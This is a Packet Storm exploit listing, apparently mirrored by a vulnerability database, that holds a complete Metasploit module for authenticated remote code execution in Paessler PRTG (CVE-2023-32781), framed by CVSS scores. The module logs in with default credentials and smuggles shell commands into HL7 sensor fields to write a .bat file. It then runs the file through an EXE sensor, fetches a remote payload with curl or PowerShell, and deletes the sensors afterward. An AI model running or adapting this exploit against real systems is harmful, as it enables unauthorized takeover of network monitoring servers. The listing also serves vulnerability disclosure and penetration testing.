Lucene search

K
packetstormKevin Joensen, metasploit.comPACKETSTORM:176677
HistoryJan 23, 2024 - 12:00 a.m.

PRTG Authenticated Remote Code Execution

2024-01-2300:00:00
Kevin Joensen, metasploit.com
packetstormsecurity.com
114
remote code execution
authenticated rce
paessler prtg
remote command execution
authentication
csrf token
windows platform
metasploit module
http client.

7.2 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

HIGH

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

7.4 High

AI Score

Confidence

Low

5.8 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

MULTIPLE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:M/C:P/I:P/A:P

0.0005 Low

EPSS

Percentile

14.2%

`class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::CmdStager  
include Msf::Exploit::Retry  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'PRTG CVE-2023-32781 Authenticated RCE',  
'Description' => %q{  
Authenticated RCE in Paessler PRTG  
},  
'License' => MSF_LICENSE,  
'Author' => ['Kevin Joensen <kevin[at]baldur.dk>'],  
'References' => [  
[ 'URL', 'https://baldur.dk/blog/prtg-rce.html'],  
[ 'CVE', '2023-32781']  
],  
'DisclosureDate' => '2023-08-09',  
'Platform' => 'win',  
'Arch' => [ ARCH_X86, ARCH_X64 ],  
'Targets' => [  
[  
'Windows_Fetch',  
{  
'Arch' => [ ARCH_CMD ],  
'Platform' => 'win',  
'DefaultOptions' => { 'FETCH_COMMAND' => 'CURL' },  
'Type' => :win_fetch  
}  
],  
[  
'Windows_CMDStager',  
{  
'Arch' => [ ARCH_X64, ARCH_X86 ],  
'Platform' => 'win',  
'Type' => :win_cmdstager,  
'CmdStagerFlavor' => [ 'psh_invokewebrequest' ]  
}  
]  
],  
'DefaultTarget' => 0,  
  
'DefaultOptions' => {},  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]  
}  
)  
)  
  
register_options(  
[  
OptString.new(  
'USERNAME',  
[ true, 'The username to authenticate with', 'prtgadmin' ]  
),  
OptString.new(  
'PASSWORD',  
[ true, 'The password to authenticate with', 'prtgadmin' ]  
),  
OptString.new(  
'TARGETURI',  
[ true, 'The URI for the PRTG web interface', '/' ]  
)  
]  
)  
end  
  
def check  
begin  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(datastore['URI'], '/index.htm')  
})  
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError  
return CheckCode::Unknown  
ensure  
disconnect  
end  
  
if res && res.code == 200  
prtg_server_header = res.headers['Server']  
  
if (prtg_server_header.include? 'PRTG') || (html.to_s.include? 'PRTG')  
return CheckCode::Detected  
end  
end  
  
return CheckCode::Unknown  
end  
  
def exploit  
@sensors_to_delete = []  
  
connect  
case target['Type']  
when :win_cmdstager  
execute_cmdstager  
when :win_fetch  
execute_command(payload.encoded)  
end  
end  
  
def on_new_session(client)  
super  
@sensors_to_delete.each do |sensor_id|  
delete_sensor_by_id(sensor_id)  
end  
print_good('Session created')  
end  
  
def execute_command(cmd, _opts = {})  
print_status('Running PRTG RCE exploit')  
authenticate_prtg  
bat_file_name = write_bat_file_to_disk(cmd)  
run_bat_file_from_disk(bat_file_name)  
print_status('Exploit done')  
handler  
end  
  
def authenticate_prtg  
print_status('Authenticating against PRTG')  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'public', 'checklogin.htm'),  
'keep_cookies' => true,  
'vars_post' => {  
'username' => datastore['USERNAME'],  
'password' => datastore['PASSWORD']  
}  
})  
unless res  
fail_with(Failure::NoAccess, 'Failure to connect to PRTG')  
end  
if res && res.code == 302 && res.get_cookies  
print_good('Successfully authenticated against PRTG')  
else  
fail_with(Failure::NoAccess, 'Failure to authenticate against PRTG')  
end  
end  
  
def get_csrf_token  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'welcome.htm'),  
'keep_cookies' => true  
})  
  
if res.nil? || res.body.nil?  
fail_with(Failure::NoAccess, 'Page with CSRF token not available')  
end  
  
regex = /csrf-token" content="([^"]+)"/  
token = res.body[regex, 1]  
  
print_status("Extracted csrf token: #{token}")  
token  
end  
  
def delete_sensor_by_id(sensor_id)  
print_status("Deleting sensor #{sensor_id}")  
csrf_token = get_csrf_token  
  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'api', 'deleteobject.htm'),  
'keep_cookies' => true,  
'headers' => {  
'anti-csrf-token' => csrf_token,  
'X-Requested-With' => 'XMLHttpRequest'  
},  
'vars_post' => {  
id: sensor_id,  
approve: 1  
}  
})  
  
if res.nil? || res.body.nil?  
fail_with(Failure::NoAccess, 'Sensor deletion failed')  
end  
end  
  
def get_created_sensor_id(sensor_name)  
print_status('Fetching created sensor id')  
  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'controls', 'deviceoverview.htm'),  
'keep_cookies' => true,  
'vars_get' => {  
'id' => 40  
}  
})  
  
if res.nil? || res.body.nil?  
fail_with(Failure::NoAccess, 'Page with sensorid not available')  
end  
  
regex = /id=([0-9]+)">#{sensor_name}/  
sensor_id = res.body[regex, 1]  
  
print_status("Extracted sensor_id: #{sensor_id}")  
sensor_id  
end  
  
def run_sensor_with_id(sensor_id)  
csrf_token = get_csrf_token  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'api', 'scannow.htm'),  
'keep_cookies' => true,  
'headers' => {  
'anti-csrf-token' => csrf_token,  
'X-Requested-With' => 'XMLHttpRequest'  
},  
'vars_post' => {  
id: sensor_id  
}  
})  
  
if res && res.code == 200  
print_good('Sensor started running')  
else  
fail_with(Failure::NoAccess, 'Failure to run sensor')  
end  
end  
  
def write_bat_file_to_disk(cmd)  
# Uses the HL7Sensor for writing a .bat file to the disk  
cmd = cmd.gsub! '\\', '\\\\\\'  
print_status('Writing .bat to disk')  
  
csrf_token = get_csrf_token  
  
# Generate a random sensor name  
sensor_name = Rex::Text.rand_text_alphanumeric(8..10)  
bat_file_name = "#{Rex::Text.rand_text_alphanumeric(8..10)}.bat"  
  
# Clean up the .bat file  
cmd = "#{cmd} & del %0"  
  
print_status("Generated sensor_name #{sensor_name}")  
print_status("Generated bat_file_name #{bat_file_name}")  
  
params = {  
'name_' => sensor_name,  
'parenttags_' => '',  
'tags_' => 'dicom hl7',  
'priority_' => '3',  
'port_' => '104',  
'timeout_' => '60',  
'override_' => '0',  
'sendapp_' => Rex::Text.rand_text_alphanumeric(4..5),  
'sendfac_' => Rex::Text.rand_text_alphanumeric(4..5),  
'recvapp_' => Rex::Text.rand_text_alphanumeric(4..5),  
'recvfac_' => "#{Rex::Text.rand_text_alphanumeric(4..5)}\" -debug=\"..\\Custom Sensors\\EXE\\#{bat_file_name}\" -recvapp=\"#{Rex::Text.rand_text_alphanumeric(4..5)}",  
'hl7file_' => "ADT_& #{cmd} & A08.hl7|ADT_A08.hl7||",  
'hl7filename' => '',  
'intervalgroup' => ['0', '1'],  
'interval_' => '60|60 seconds',  
'errorintervalsdown_' => '1',  
'inherittriggers' => '1',  
'id' => '40',  
'sensortype' => 'hl7',  
'tmpid' => '2',  
'anti-csrf-token' => csrf_token  
}  
  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'addsensor5.htm'),  
'keep_cookies' => true,  
'vars_post' => params  
})  
  
unless res  
fail_with(Failure::NoAccess, 'Failure to connect to PRTG')  
end  
  
if res && res.code == 302  
print_good('HL7 Sensor succesfully created')  
else  
fail_with(Failure::NoAccess, 'Failure to create HL7 sensor')  
end  
# Actually creating the sensor can take 1-2 seconds  
print_status('Checking for sensor creation')  
sensor_id = retry_until_truthy(timeout: 10) do  
get_created_sensor_id(sensor_name)  
end  
  
print_status('Requesting HL7 Sensor to initiate scan')  
  
run_sensor_with_id(sensor_id)  
@sensors_to_delete.push(sensor_id)  
  
print_good('.bat file written to disk')  
bat_file_name  
end  
  
def run_bat_file_from_disk(bat_file_name)  
print_status("Running the .bat file: #{bat_file_name}")  
csrf_token = get_csrf_token  
sensor_name = Rex::Text.rand_text_alphanumeric(8..10)  
  
params = {  
'name_' => sensor_name,  
'parenttags_' => '',  
'tags_' => 'exesensor',  
'priority_' => '3',  
'scriptplaceholdergroup' => '1',  
'scriptplaceholder1description_' => '',  
'scriptplaceholder1_' => '',  
'scriptplaceholder2description_' => '',  
'scriptplaceholder2_' => '',  
'scriptplaceholder3description_' => '',  
'scriptplaceholder3_' => '',  
'scriptplaceholder4description_' => '',  
'scriptplaceholder4_' => '',  
'scriptplaceholder5description_' => '',  
'scriptplaceholder5_' => '',  
'exefile_' => "#{bat_file_name}|#{bat_file_name}||",  
'exefilelabel' => '',  
'exeparams_' => '',  
'environment_' => '0',  
'usewindowsauthentication_' => '0',  
'mutexname_' => '',  
'timeout_' => '60',  
'valuetype_' => '0',  
'channel_' => 'Value',  
'unit_' => '#',  
'monitorchange_' => '0',  
'writeresult_' => '0',  
'intervalgroup' => '0',  
'interval_' => '43200|12 hours',  
'errorintervalsdown_' => '1',  
'inherittriggers' => '1',  
'id' => '40',  
'sensortype' => 'exe',  
'tmpid' => '6',  
'anti-csrf-token' => csrf_token  
}  
  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'addsensor5.htm'),  
'keep_cookies' => true,  
'vars_post' => params  
})  
  
unless res  
fail_with(Failure::NoAccess, 'Failure to connect to PRTG')  
end  
  
if res && res.code == 302  
print_status('EXE Script sensor created')  
else  
fail_with(Failure::NoAccess, 'Failure to create EXE Script sensor')  
end  
  
print_status('Checking for sensor creation')  
  
sensor_id = retry_until_truthy(timeout: 10) do  
get_created_sensor_id(sensor_name)  
end  
run_sensor_with_id(sensor_id)  
@sensors_to_delete.push(sensor_id)  
print_good('Exploit completed. Waiting for payload')  
end  
end  
`

7.2 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

HIGH

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

7.4 High

AI Score

Confidence

Low

5.8 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

MULTIPLE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:M/C:P/I:P/A:P

0.0005 Low

EPSS

Percentile

14.2%

Related for PACKETSTORM:176677